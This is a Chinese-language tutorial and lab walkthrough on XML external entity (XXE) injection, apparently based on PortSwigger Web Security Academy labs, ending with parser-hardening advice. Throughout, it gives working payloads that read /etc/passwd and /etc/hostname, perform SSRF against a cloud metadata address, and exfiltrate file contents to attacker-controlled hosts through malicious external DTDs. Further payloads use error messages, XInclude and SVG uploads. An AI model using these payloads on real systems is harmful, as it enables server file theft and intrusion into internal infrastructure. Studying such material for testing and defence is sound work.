赞
踩
XXE – XML external entity injection—XML 外部实体注入
XML 外部实体注入(又称 XXE)是一种网络安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以利用 XXE 漏洞执行服务器端请求伪造(SSRF)攻击,从而升级 XXE 攻击,入侵底层服务器或其他后端基础设施。
一些应用程序使用 XML 格式在浏览器和服务器之间传输数据。这样做的应用程序几乎总是使用标准库或平台 API 来处理服务器上的 XML 数据。XXE 漏洞之所以出现,是因为 XML 规范包含各种潜在的危险功能,而标准解析器支持这些功能,即使应用程序通常不使用它们。
XML 是 "可扩展标记语言 "的缩写。XML 是一种用于存储和传输数据的语言。与 HTML 一样,XML 使用树状的标记和数据结构。与 HTML 不同的是,XML 不使用预定义的标记,因此可以为标记赋予描述数据的名称。在网络历史的早期,XML 曾是一种流行的数据传输格式("AJAX "中的 "X "代表 “XML”)。但现在它的受欢迎程度已经下降,转而使用 JSON 格式。
XML 实体是在 XML 文档中表示数据项的一种方式,而不是使用数据本身。XML 语言的规范中内置了各种实体。例如,实体 < 和 > 表示字符 < 和 >。这些元字符用于表示 XML 标记,因此当它们出现在数据中时,通常必须使用它们的实体来表示。
XML 文档类型定义(DTD)包含可定义 XML 文档结构、可包含的数据值类型和其他项目的声明。DTD 在 XML 文档开头的可选 DOCTYPE 元素中声明。DTD 可以完全独立于文档本身(称为 “内部 DTD”),也可以从其他地方加载(称为 “外部 DTD”),还可以是两者的混合体。
XML 允许在 DTD 中定义自定义实体。例如
<! DOCTYPE foo [ <! ENTITY myentity "我的实体值" > ]> >
该定义意味着,在 XML 文档中使用实体引用 &myentity; 时,将使用定义的值进行替换: “我的实体值”
XML 外部实体是一种自定义实体,其定义位于声明实体的 DTD 之外。
外部实体的声明使用 SYSTEM 关键字,并且必须指定一个加载实体值的 URL。例如
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" >]>
URL 可以使用 file:// 协议,因此可以从文件加载外部实体。例如
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
也可以使用其他的协议,主流web端编程语言支持的协议
其中java现在仅jdk1.7/1.6支持gopher协议
libxml 是 PHP 的 xml 支持
类似与xss,如图所示
但是利用面很窄
利用 XXE 检索文件,即定义一个包含文件内容的外部实体,并在应用程序的响应中返回。
利用 XXE 执行 SSRF 攻击,即根据指向后端系统的 URL 定义外部实体。
利用盲目 XXE 进行带外数据渗漏,将敏感数据从应用服务器传输到攻击者控制的系统。
利用盲目 XXE 通过错误信息检索数据,攻击者可触发包含敏感数据的解析错误信息。
要执行 XXE 注入攻击,从服务器文件系统中检索任意文件,需要通过两种方式修改提交的 XML:
例如,假设一个购物应用程序通过向服务器提交以下 XML 来检查产品的库存水平:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
该应用程序对 XXE 攻击没有特别的防御措施,因此您可以提交以下 XXE payload,利用 XXE 漏洞检索 /etc/passwd 文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
此 XXE payload定义了一个外部实体&xxe;
,其值是/etc/passwd
文件的内容,并在 productId 值中使用了该实体。这将导致应用程序的响应包含该文件的内容:
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
对于真实环境中的 XXE 漏洞,提交的 XML 中通常会有大量数据值,其中任何一个都可能会在应用程序的响应中使用。要系统地测试 XXE 漏洞,通常需要单独测试 XML 中的每个数据节点,方法是使用您定义的实体并查看它是否出现在响应中。
首先浏览功能,在检查库存页面找到了通过xml传递数据的请求
添加payload,发包即可
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
分别在两个id添加&xxe;
观察哪一个可以回显
实际上只有productid可以回显
实验结果如下
除了检索敏感数据外,XXE 攻击的另一个主要影响是,它们可用于执行服务器端请求伪造(SSRF)。这是一种潜在的严重漏洞,可诱使服务器端应用程序向服务器可访问的任何 URL 发出 HTTP 请求。
要利用 XXE 漏洞执行 SSRF 攻击,需要使用要攻击的 URL 定义外部 XML 实体,并在数据值中使用已定义的实体。如果能在应用程序响应返回的数据值中使用已定义的实体,那么就能在应用程序响应中查看 URL 的响应,从而获得与后端系统的双向交互。否则,就只能执行盲 SSRF 攻击(仍可能造成严重后果)。
在下面的 XXE 示例中,外部实体将导致服务器向组织基础设施内的内部系统发出后端 HTTP 请求:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/">
漏洞点还是在刚才那个数据包
编辑payload
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/">]>
可以看到返回了一个 invalid id : latest
,说明该服务器路径下存在lates目录
那么就可以迭代查询了
从而获取到了元数据
盲 XXE 漏洞是指应用程序易受 XXE 注入影响,但在其响应中不返回任何已定义外部实体的值。这意味着无法直接检索服务器端文件,因此盲 XXE 一般比常规 XXE 漏洞更难利用。
发现和利用盲 XXE 漏洞主要有两种方法:
你可以触发带外网络交互,有时会在交互数据中泄露敏感数据。
触发 XML 解析错误,使错误信息包含敏感数据。
您通常可以使用与 XXE SSRF 攻击相同的技术来检测盲区 XXE,但要触发您所控制系统的带外网络交互。例如,您可以定义一个外部实体如下:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
然后,您就可以在 XML 的数据值中使用已定义的实体。
这种 XXE 攻击会导致服务器向指定 URL 发出后端 HTTP 请求。攻击者可以监控由此产生的 DNS 查询和 HTTP 请求,从而检测到 XXE 攻击是否成功。
url修改为collaborator的地址即可
有时,由于应用程序的某些输入验证或正在使用的 XML 解析器的某些加固,使用常规实体的 XXE 攻击会被阻止。在这种情况下,你也许可以使用 XML 参数实体来代替。XML 参数实体是一种特殊的 XML 实体,只能在 DTD 的其他地方引用。就目前而言,您只需了解两件事。首先,XML 参数实体的声明包括实体名称前的百分号字符:
<!ENTITY % myparameterentity "my parameter entity value" >
其次,在引用参数实体时,要使用百分号字符,而不是通常的 “ampersand”:%myparameterentity;
这意味着,您可以通过 XML 参数实体,使用带外检测功能测试盲 XXE,如下所示:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
该 XXE 有效负载声明了一个名为 xxe 的 XML 参数实体,然后在 DTD 中使用了该实体。这将导致 DNS 查询和向攻击者域发出 HTTP 请求,验证攻击是否成功。
构造的payload如下
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://fi18kjn84mgojththeo7sd6ldcj37uvj.oastify.com"> %xxe; ]>
在collaborator查询即可
通过带外技术检测出盲区 XXE 漏洞固然很好,但实际上并不能证明漏洞是如何被利用的。攻击者真正想要实现的是外泄敏感数据。这可以通过盲 XXE 漏洞实现,但需要攻击者在自己控制的系统上托管恶意 DTD,然后在带内 XXE 有效负载中调用外部 DTD。
恶意 DTD文件外泄 /etc/passwd 文件内容的示例如下:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
该 DTD 执行以下步骤:
定义名为 file 的 XML 参数实体,其中包含 /etc/passwd 文件的内容。
定义一个名为 eval 的 XML 参数实体,其中包含另一个名为 exfiltrate 的 XML 参数实体的动态声明。向攻击者的网络服务器发出 HTTP 请求时,会对 exfiltrate 实体进行评估,该请求在 URL 查询字符串中包含 file 实体的值。
使用 eval 实体会导致执行 exfiltrate 实体的动态声明。
使用 exfiltrate 实体,通过请求指定的 URL 来评估其值。
然后,攻击者必须在自己控制的系统上托管恶意 DTD,通常是将其加载到自己的网络服务器上。例如,攻击者可以在以下 URL 上提供恶意 DTD:
http://web-attacker.com/malicious.dtd
最后,攻击者必须向有漏洞的应用程序提交以下 XXE 有效负载:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
此 XXE 有效负载声明了名为 xxe 的 XML 参数实体,然后在 DTD 中使用了该实体。这将导致 XML 解析器从攻击者的服务器获取外部 DTD 并进行内联解释。然后执行恶意 DTD 中定义的步骤,并将 /etc/passwd 文件传输到攻击者的服务器。
对于某些文件内容,包括 /etc/passwd 文件中包含的换行符,这种技术可能不起作用。这是因为某些 XML 解析器会使用 API 获取外部实体定义中的 URL,该 API 会验证 URL 中允许出现的字符。在这种情况下,可以使用 FTP 协议而不是 HTTP。有时,无法外泄包含换行符的数据,因此可以使用 /etc/hostname 等文件作为目标。
进入主页,点击go to exploit server
写入如下payload
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://73805b80pe1g4l2l269zd5rdy44vsngc.oastify.com/?x=%file;'>">
%eval;
%exfil;
其中%
是%
的十六进制unicode
编码
保存即可
然后记下exploit server的地址
https://exploit-0a9b001a0347bf6f86372f67018e003f.exploit-server.net/exploit
那么在存在xxe漏洞点的数据包中,就需要去访问这个exploit server的地址
payload如下
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a9b001a0347bf6f86372f67018e003f.exploit-server.net/exploit"> %xxe;]>
在collaborator查询
注意前面的server的payload,passwd的内容是由参数x接收的
所有内容就是070d50835299
提交即可
利用盲 XXE 的另一种方法是触发 XML 解析错误,错误消息中包含您希望检索的敏感数据。如果应用程序在其响应中返回错误信息,这种方法就会有效。
您可以使用恶意外部 DTD 触发包含 /etc/passwd 文件内容的 XML 解析错误信息,具体如下:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
该 DTD 执行以下步骤:
定义名为 file 的 XML 参数实体,其中包含 /etc/passwd 文件的内容。
定义一个名为 eval 的 XML 参数实体,其中包含另一个名为 error 的 XML 参数实体的动态声明。将通过加载一个名称包含 file 实体值的不存在文件来评估 error 实体。
使用 eval 实体会导致执行 error 实体的动态声明。
使用错误实体,通过尝试加载不存在的文件来评估其值,从而产生包含不存在文件名(即 /etc/passwd 文件的内容)的错误消息。
调用恶意外部 DTD 将导致如下错误信息:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
写入如下payload
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
在漏洞点的payload如下
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ad3008304a826068295246801fc00a6.exploit-server.net/exploit"> %xxe;]>
发包即可
由于 XXE 攻击涉及重新利用服务器文件系统上的现有 DTD,因此关键要求是找到合适的文件。这其实很简单。由于应用程序会返回 XML 解析器抛出的任何错误信息,因此只需尝试从内部 DTD 中加载本地 DTD 文件,就能轻松枚举出这些文件。
例如,使用 GNOME 桌面环境的 Linux 系统通常在 /usr/share/yelp/dtd/docbookx.dtd 下有一个 DTD 文件。您可以通过提交以下 XXE 有效载荷来测试该文件是否存在,如果该文件丢失,则会导致错误:
<!DOCTYPE foo [<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">%local_dtd;]>
在测试了常用 DTD 文件列表以找到存在的文件后,您需要获取该文件的副本并查看它,以找到可以重新定义的实体。由于许多包含 DTD 文件的常用系统都是开源的,因此通常可以通过互联网搜索快速获得文件副本。
提示
使用 GNOME 桌面环境的系统通常会在 /usr/share/yelp/dtd/docbookx.dtd 中设置一个 DTD,其中包含一个名为 ISOamso 的实体。
现在的思路是,通过file读取dtd文件,然后在实体ISOamso中写入payload
先读取dtd文件,查看文件是否存在
<!DOCTYPE foo [<! ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">%local_dtd;]>
返回文件没有报错,所以该dtd文件是存在的
已经知道了文件存在,且具有ISOamso实体,那么可以根据这个实体来构造payload
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
这里使用了十六进制unicode编码进行混淆,还原后如下
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM '%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
这里首先读取本地dtd文件,然后重写外部实体ISOamso,内容就是前面的盲xxe payload
使用还原后的payload访问,会过滤某些字符
并且由于这里的passwd文件是多行文件,所以通过报错返回信息
XXE 注入漏洞的攻击面在很多情况下是显而易见的,因为应用程序的正常 HTTP 流量包括包含 XML 格式数据的请求。在其他情况下,攻击面则不那么明显。不过,只要找对地方,就能在不包含任何 XML 的请求中发现 XXE 攻击面。
某些应用程序接收客户端提交的数据,将其嵌入服务器端的 XML 文档,然后解析该文档。例如,客户端提交的数据被放入后端 SOAP 请求,然后由后端 SOAP 服务进行处理。
在这种情况下,您无法实施经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改 DOCTYPE 元素。不过,你可以使用 XInclude 来代替。XInclude 是 XML 规范的一部分,允许从子文档构建 XML 文档。您可以将 XInclude 攻击放在 XML 文档中的任何数据值内,因此在您只能控制放在服务器端 XML 文档中的单个数据项的情况下,也可以执行攻击。
要执行 XInclude 攻击,需要引用 XInclude 命名空间,并提供要包含的文件的路径。例如
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
默认情况下,XInclude 会尝试将包含的文档解析为 XML。由于
/etc/passwd
不是有效的 XML,所以需要在 XInclude 指令中添加一个额外的属性来改变这种行为 —parse="text"
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
在productid写入payload即可
通过上传文件进行 XXE 攻击
有些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式包括 DOCX 等办公文档格式和 SVG 等图像格式。
例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收的是 PNG 或 JPEG 等格式,所使用的图像处理库也可能支持 SVG 图像。由于 SVG 格式使用 XML,攻击者可以提交恶意 SVG 图像,从而达到 XXE 漏洞的隐藏攻击面。
payload如下
获取地址:https://gist.github.com/jakekarnes42/b879f913fd3ae071c11199b9bd7ba3a7?short_path=f3432ae
注意空格,手动添加
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
建议直接复制官方给的payload都是一样的
首先找到上传点
https://0a65000d03da708880148adc004c0088.web-security-academy.net/post?postId=1
本地创建svg文件,写入payload
然后上传
跟随重定向即可
然后回到文章评论页,要获取的hostname就在svg图片中
上传的功能点说明了上传的文件当作头像
所以内容在头像中
94fb95307547
Content-Type
进行xxe大多数 POST 请求使用 HTML 表单生成的默认内容类型,如 application/x-www-form-urlencoded。有些网站希望收到这种格式的请求,但也会容忍其他内容类型,包括 XML。
例如,如果一个普通请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
那么你可以提交以下请求,得到同样的结果:
Then you might be able submit the following request, with the same result:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
如果应用程序允许在消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么只需将请求重新格式化为使用 XML 格式,就能达到隐藏的 XXE 攻击面。
绝大多数xxe可以使用bp自带的scaner扫描
请记住,XML 只是一种数据传输格式。请确保您还测试了任何基于 XML 的功能是否存在其他漏洞,如 XSS 和 SQL 注入。您可能需要使用 XML 转义序列对有效载荷进行编码,以避免破坏语法,但您也可以利用这一点对攻击进行混淆,以绕过薄弱的防御。
几乎所有 XXE 漏洞的产生都是因为应用程序的 XML 解析库支持潜在危险的 XML 功能,而应用程序并不需要或不打算使用这些功能。防止 XXE 攻击最简单有效的方法就是禁用这些功能。
一般来说,禁用外部实体的解析和禁用对 XInclude 的支持就足够了。这通常可以通过配置选项或以编程方式覆盖默认行为来实现。有关如何禁用不必要功能的详细信息,请查阅 XML 解析库或 API 的文档。
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
libxml_disable_entity_loader(true);
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。